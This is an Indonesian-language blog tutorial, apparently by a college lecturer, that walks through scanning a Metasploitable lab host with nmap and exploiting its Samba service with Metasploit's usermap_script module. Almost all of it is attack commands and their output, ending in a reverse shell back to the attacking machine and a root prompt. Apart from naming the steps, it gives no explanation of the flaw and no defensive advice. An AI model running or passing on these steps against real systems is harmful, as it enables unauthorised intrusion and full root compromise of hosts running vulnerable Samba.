Exploit Metasploit Linux Kernel 2.6.x

SCANING PORT TARGET (LINUX 2.6.X)

root@bt:~# nmap -sS -Pn -A 192.168.77.116

Starting Nmap 6.01 ( http://nmap.org ) at 2013-04-20 14:12 WIT
Nmap scan report for 192.168.77.116
Host is up (0.00059s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17 14:07:45
|_Not valid after:  2010-04-16 14:07:45
53/tcp   open  domain      ISC BIND 9.4.2
| dns-nsid:
|_  bind.version: 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 8
| Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection
| Status: Autocommit
|_Salt: CM;zwi()4g/R-,5ct=p?
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5
MAC Address: 08:00:27:68:55:FC (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.9 - 2.6.31
Network Distance: 1 hop
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:kernel

Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: , NetBIOS MAC:
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   NetBIOS computer name:
|   Workgroup: WORKGROUP
|_  System time: 2013-04-20 14:13:09 UTC-4

TRACEROUTE
HOP RTT     ADDRESS
1   0.59 ms 192.168.77.116

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.79 seconds


EXPLOITASI LINUX 2.6.X DENGAN METASPLOIT

msf > use exploit/multi/samba/usermap_script
msf  exploit(usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  139              yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(usermap_script) > set RHOST 192.168.77.116
RHOST => 192.168.77.116
msf  exploit(usermap_script) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo bvFMyyz8JvssC7dS;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "bvFMyyz8JvssC7dS\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.77.53:4444 -> 192.168.77.116:48033) at 2013-04-20 14:15:13 +0700

id
uid=0(root) gid=0(root)

HASIL BISA ANDA LIHAT PADA GAMBAR DIBAWAH INI
Proses Scanning Port

Proses Eploitasi

Author:

Hallo, perkenalkan saya Taqrim Ibadi seorang tenaga pengajar di salahsatu Perguruan Tinggi Kota Palembang. Saya menyukai segala hal tentang komputer. Saat ini sedang menekuni belajar dibidang UIUX, Pemrograman dan Artificial Intelligence.

0 komentar:

Silahkan tinggalkan komentar Anda dengan sopan. Mohon jangan komentar SPAM..! Karena komentar dengan menyertakan LINK / ANCHOR TEXT atau promosi produk tertentu akan saya hapus tanpa pemberitahuan terlebih dahulu.
Terimakasih...!!!